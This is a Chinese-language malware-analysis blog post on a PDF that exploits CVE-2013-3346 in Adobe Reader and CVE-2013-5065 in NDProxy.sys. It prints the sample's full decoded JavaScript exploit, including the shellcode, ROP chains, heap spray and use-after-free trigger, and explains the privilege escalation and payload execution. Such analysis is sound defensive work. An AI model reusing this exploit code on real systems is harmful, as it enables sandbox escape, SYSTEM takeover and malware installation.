您的位置:首页 > 其它

CVE-2013-3346&CVE-2013-5065-Adobe Reader释放重引用漏洞+NDProxy.sys数组越界漏洞联合利用恶意样本分析

2017-11-25 22:55 811 查看

前言

2014年8月卡巴斯基曝光了当时最复杂的APT间谍攻击行动Epic Turla,其中主要用到两个0day漏洞CVE-2013-3346&CVE-2013-5065,CVE-2013-3346被利用执行沙盒限制的Reader进程中的恶意代码,CVE-2013-5065被利用在Windows内核中执行更多的恶意代码。

SHA256: 91fa33cb02c4631c32b7ab9775dfbb5f77cfb4e50d4b97f30a895a2e3bc003ec

使用peepdf分析PDF恶意样本

peepdf是2012年black hat上大会上发布的一个工具。安装好peepdf之后使用-i参数开启控制台交互模式,-f参数忽略错误强制解析pdf,避免因错误导致中断退出。这里提示PyV8没有安装,这个玩意安装起来非常麻烦,老是报错,我们可以直接用编译好的二进制文件就行了。

pyv8-binaries



我们看到对象3中包含JS代码,查看一下对象3。



这里的JS代码是经过jjencode加密处理的,庆幸的是peepdf提供了解密工具js_jjdecode。把从
Q=~[]
开始的内容拷贝到文件中,去掉最后的endstream,就可以解密了。





完整的JS代码如下。

var shellcode = unescape("%u00E8%u0000%u5D00%uED83%uE905%u008B%u0000%u5052%uD231%uC031%uF980%u7501%u6604%uEBAD%uAC01%u003C%u0D74%u613C%u0272%u202C%uCAC1%u010D%uEBC2%u39E3%u58DA%uC35A%u8956%uB2DA%u313C%u66C0%u028B%uD801%u508B%u0178%u52DA%u8B51%u184A%u428B%u0120%u8BD8%u0138%u53DF%u1E8B%uF787%u3151%uE8C9%uFFAE%uFFFF%u5B59%uF787%u0275%u08EB%uC083%u4904%u22E3%uDFEB%u428B%u2918%u89C8%u8BC1%u2442%uD801%u8B66%u480C%u428B%u011C%uC1D8%u02E1%uC801%u008B%uD801%u0689%u5A59%uC683%uE204%u5EAE%u31C3%u64D2%u528B%u8B30%u0C52%u528B%uB114%u8B01%u2872%u17BB%u2BCA%uE86E%uFF5A%uFFFF%u5A8B%u8B10%u7512%u31EC%uB1C9%u680E%uFA7C%u1596%uE668%u785C%u680F%u937D%uBDFA%u2068%uEA96%u6895%uBE1B%u1A09%uDA68%u7A8B%u68AE%u6CEF%uE688%u6868%u88F6%u680D%u4676%u8A8B%uCA68%u2A6A%u6895%u0B95%u1A7F%u4568%u9E3C%u6857%uBE1C%u302E%u4E68%uDFCC%u8912%uE8E6%uFF28%uFFFF%uBD8D%u040E%u0000%u0C6A%u8059%uC837%uE247%u6AFA%u686C%u746E%u6C64%uFF54%u1456%uF883%u0F00%uD484%u0001%u5600%uC931%u8941%u68C3%uFD91%u5947%uE689%uF3E8%uFFFE%u6AFF%u8901%u68E7%u2000%u0000%uE189%u406A%u0068%u1030%u5100%u006A%u6A57%uFFFF%u5916%u5E59%u835E%u00F8%u850F%u019B%u0000%u90B0%u89FC%uB9CF%u0EF5%u0000%uAAF3%uB956%u010B%u0000%uB58D%u0303%u0000%uA4F3%uFF5E%u1056%u0789%u858D%u040E%u0000%u006A%u006A%u036A%u006A%u006A%u006A%uFF50%u0C56%uF883%u0F00%u5C84%u0001%u8900%u6AC7%u6804%u1000%u0000%u0068%u0004%u6A00%uFF00%u0456%uF883%u0F00%u4084%u0001%uC700%u1440%u0125%u0703%u40C7%uAD1C%u0000%uC700%u2C40%u0020%u0000%u40C7%u0430%u0000%uC700%u3840%uBEEF%uDEAD%u006A%uE289%u006A%u6852%u0080%u0000%u6850%u0400%u0000%u6850%u23C8%u8FFF%uFF57%u0856%uDB31%u5255%uE789%u8352%u04C3%uC031%u5050%u5350%u56FF%u8334%uFFF8%uEF74%uC031%u5350%u56FF%u832C%uFFF8%uE374%u003D%u0010%u7C00%u89DC%u89C5%u31E0%u51C9%u6A50%u5704%uFF53%u3056%u3F81%u5025%u4644%uC575%uC483%u8908%u5DEF%uEF83%u6A04%u6804%u1000%u0000%u6A57%uFF00%u0456%uC931%u5150%u5754%u5350%u56FF%u5830%uF989%uD231%uFA80%u7401%u8111%uF238%u0909%u750A%u831E%u04C0%uC2FE%u8950%u57FB%u5256%u8950%u89C6%u29DA%u89FA%uF6D0%u28E2%u8006%uF336%u5A58%u405E%uE24F%u5FD1%u8158%uC8EC%u0000%u8900%u83E3%u0CEC%u5350%uC868%u0000%uFF00%u2456%u438D%u31FC%u89C9%u5308%u5051%uFF53%u2856%u43C7%u2FFC%u2063%uC720%uF843%u6D63%u2064%u8958%u31C5%u51C9%u6A51%u5102%u6851%u0000%u4000%uFF53%u0C56%uEB83%u5308%uC389%uC931%u8951%u51E0%u5750%u5355%u56FF%u531C%u56FF%u5820%u315B%u6AC0%u5300%u56FF%uFF18%u6016%u00E8%u0000%u5B00%uEB83%u8B06%u004D%u498B%u8104%u00E1%uFFF0%u66FF%u3981%u5A4D%u840F%u0093%u0000%uE981%u1000%u0000%uEDEB%u5052%uD231%uC031%uF980%u7501%u6604%uEBAD%uAC01%u003C%u0D74%u613C%u0272%u202C%uCAC1%u010D%uEBC2%u39E3%u58DA%uC35A%u8956%uB2DA%u313C%u66C0%u028B%uD801%u508B%u0178%u52DA%u8B51%u184A%u428B%u0120%u8BD8%u0138%u53DF%u1E8B%uF787%u3151%uE8C9%uFFAE%uFFFF%u5B59%uF787%u0275%u08EB%uC083%u4904%u22E3%uDFEB%u428B%u2918%u89C8%u8BC1%u2442%uD801%u8B66%u480C%u428B%u011C%uC1D8%u02E1%uC801%u008B%uD801%u0689%u5A59%uC683%uE204%u5EAE%u89C3%u89DD%u31CB%u41C9%u7468%uACC9%u894A%uE8E6%uFF88%uFFFF%u006A%uE789%u8B57%u0B85%u0001%u5000%u16FF%u835F%u00F8%u2675%u006A%uE089%u6A50%uFF04%u5E16%uF883%u7500%u8117%uC8C6%u0000%u8100%uC8C7%u0000%u8B00%u8906%uC707%u6C47%u0000%u0000%u6158%u01B8%u0001%uC200%u0004%u9494%u94E6%u8C86%uBA98%uB0A7%uC8B1");
var executable = "";
var rop9 = "";
rop9 += unescape("%u313d%u4a82");
rop9 += unescape("%ua713%u4a82");
rop9 += unescape("%u1f90%u4a80");
rop9 += unescape("%u9038%u4a84");
rop9 += unescape("%u7e7d%u4a80");
rop9 += unescape("%uffff%uffff");
rop9 += unescape("%u0000%u0000");
rop9 += unescape("%u0040%u0000");
rop9 += unescape("%u0000%u0000");
rop9 += unescape("%u1000%u0000");
rop9 += unescape("%u0000%u0000");
rop9 += unescape("%u155a%u4a80");
rop9 += unescape("%u3A84%u4A84");
rop9 += unescape("%ud4de%u4a82");
rop9 += unescape("%u1f90%u4a80");
rop9 += unescape("%u76aa%u4a84");
rop9 += unescape("%u9030%u4a84");
rop9 += unescape("%u4122%u4a84");
rop9 += unescape("%u76aa%u4a84");
rop9 += unescape("%u7e7d%u4a80");
rop9 += unescape("%u3178%u4A81");
rop9 += unescape("%u0026%u0000");
rop9 += unescape("%u0000%u0000");
rop9 += unescape("%u0000%u0000");
rop9 += unescape("%u0000%u0000");
rop9 += unescape("%u3A82%u4A84");
rop9 += unescape("%u6C5E%u4A84");
rop9 += unescape("%u76ab%u4a84");
rop9 += unescape("%u4141%u4141");
rop9 += unescape("%u0400%u0000");
rop9 += unescape("%u4141%u4141");
rop9 += unescape("%u7984%u4A81");
rop9 += unescape("%u3178%u4A81");

var rop10 = unescape("%u6015%u4a82%ue090%u4a82%u007d%u4a82%u0038%u4a85%u46d5%u4a82%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u5016%u4a80%u420c%u4A84%u4241%u4a81%u007d%u4a82%u6015%u4a82%u0030%u4a85%ub49d%u4a84%u6015%u4a82%u46d5%u4a82%u4197%u4A81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u4013%u4A81%ue036%u4A84%ua8df%u4a82%u4141%u4141%u0400%u0000%u4141%u4141%u8b31%u4A81%u4197%u4A81");
var rop11 = unescape("%u822c%u4a85%uf129%u4a82%u597f%u4a85%u6038%u4a86%uf1d5%u4a83%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u5093%u4a85%ud1d1%ud1d1%u0030%u4a85%u597f%u4a85%u0031%u4a85%ub9b9%ub9b9%u822c%u4a85%uf1d5%u4a83%ud4f8%u4a85%u6030%u4a86%u4864%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u4856%u4a81%u05a0%u4a85%u0bc4%u4a86%u05a0%u4a85%uc376%u4a81%u63d0%u4a84%u0400%u0000%ud4f8%u4a85%ud4f8%u4a85%u4864%u4a81");

var r11 = false;
var obj_size = 0x330 + 0x1c;
var rop = rop9;
var ret_addr = unescape("%ua83e%u4a82");
var rop_addr = unescape("%u08e8%u0c0c");
var r_addr = 0x08e8;

if (app.viewerVersion >= 10 && app.viewerVersion < 11) {
obj_size = 0x360 + 0x1c;
rop = rop10;
rop_addr = unescape("%u08e4%u0c0c");
var r_addr = 0x08e4;
ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11) {
r11 = true;
obj_size = 0x370;
rop = rop11;
var rop_addr = unescape("%u08a8%u0c0c");
var r_addr = 0x08a8;
ret_addr = unescape("%u8003%u4a84");
}

var payload = rop + shellcode;
heapSpray(payload, ret_addr, r_addr);

for (i = 0; i < 64; ++i)
{
executable = unescape("%u2b2b%u2b2b") + executable;
}
executable = executable + unescape("%u4241%u4342");
executable = executable + unescape("%u0040%u0000");
executable = executable + unescape("%u200a%u100b");
var vv = executable;
for (i = 0; i < 1024; ++i)
{
executable = executable + vv;
}

var part1 = "";
if (!r11) {
for (i=0;i < 0x1c/2; i++)
part1 += unescape("%u4141");
}
part1 += rop_addr;

var part2 = "";
var part2_len = obj_size - part1.length*2;

for (i = 0; i < part2_len/2-1; i++)
part2 += unescape("%u4141");

var arr = new Array();

app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});

addButtonFunc = function() {
app.addToolButton({cName: "xxx", cExec: "1", cEnable: "removeButtonFunc();"});
}

removeButtonFunc = function() {
app.removeToolButton({cName: "evil"});

for (i=0;i < 10;i++)
arr[i] = part1.concat(part2);
}

function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u0c0c");
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;

var i1 = r_addr - 0x24;
var bbb = aaa.substring(0, i1 / 2);

var sa = str_addr;
while (sa.length < (0x0c0c-r_addr)) sa += sa;

bbb += sa;
bbb += aaa;

var i11 = 0x0c0c - 0x24;
bbb = bbb.substring(0, i11 / 2);

bbb += str;
bbb += aaa;

var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(0, i2 / 2);

while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;

var i3 = (0x1020 - 0x08) / 2;
var ddd = ccc.substring(0, 0x80000 - i3);

var eee = new Array();

for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
}


这里尝试用scdbg来模拟,但是一执行就陷入死循环了。



我们来看一下shellcode做了什么,IDA中大致可以看出来会寻找pdf中一段数据并解密出来执行。







接下来我们继续看漏洞利用的部分。

CVE-2013-3346

JS代码中首先检测Adobe Reader的版本,据此采用不同的ROP链和喷射对象大小。



接下来是触发漏洞的代码。



首先创建父ToolButton对象,并设置回调函数addButtonFunc;在addButtonFunc中创建子ToolButton对象,并设置回调函数removeButtonFunc;在removeButtonFunc中删除父ToolButton对象。虽然父ToolButton对象已被释放,但子ToolButton对象仍然保留对父ToolButton对象的引用,最终导致UAF漏洞的发生。我们可以通过windbg调试来看看。为了方便,用metasploit生成一个POC。

操作系统:XP SP3

软件版本:Adobe Reader 11





0x0C0C0C0C-0x0C0C08a8=0x364,这也就解释了rop_addr的选择。





ROP链是在icucnv40.dll中找的,只不过开始的时候没有加载icucnv40.dll而是加载了icuuc40.dll,不得不把icuuc40.dll删了exploit才会起效。对这个地方存有一点疑问。



经过一系列中间gadget之后依次调用CreateFileMappingA和MapViewOfFile映射具有RWX权限的内存并调用memcpy拷贝下一个阶段的shellcode到这段内存并执行。









这段shellcode利用CVE-2013-5065将Reader进程的权限级别设置为SYSTEM,然后从PDF中解密出可执行文件,写入临时目录并执行。

CVE-2013-5065

在解析一些函数的地址之后调用ZwAllocateVirtualMemory在零页分配内存。



复制0xEF5个NOP和shellcode。





漏洞出在NDProxy.sys中。PxIODispatch的主要功能就是根据传入的参数调用数组中不同的函数,由于没有对传入的参数进行校验导致数组越界。







我们来看看调用DeviceIoControl时的参数。



在lpBuffer偏移0x14处填充0x7030125,中间控制流转移及数学运算的过程如下所示。





接下来其实就是把AcroRd32.exe的process token换成system的process token,Adobe Reader获得system权限绕过沙盒之后即可启动新的进程。返回到用户态又经过一系列获取临时文件目录并创建文件之后使用WinExec启动创建的文件(其实为可执行文件)。



参考资料

1.《漏洞战争》第七章第五节

2.如何把shellcode转换成exe文件分析

3.CVE-2013-3346/5065 Technical Analysis

4.Analysis of a CVE-2013-3346/CVE-2013-5065 exploit with peepdf

5.The Kernel is calling a zero(day) pointer – CVE-2013-5065 – Ring Ring
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: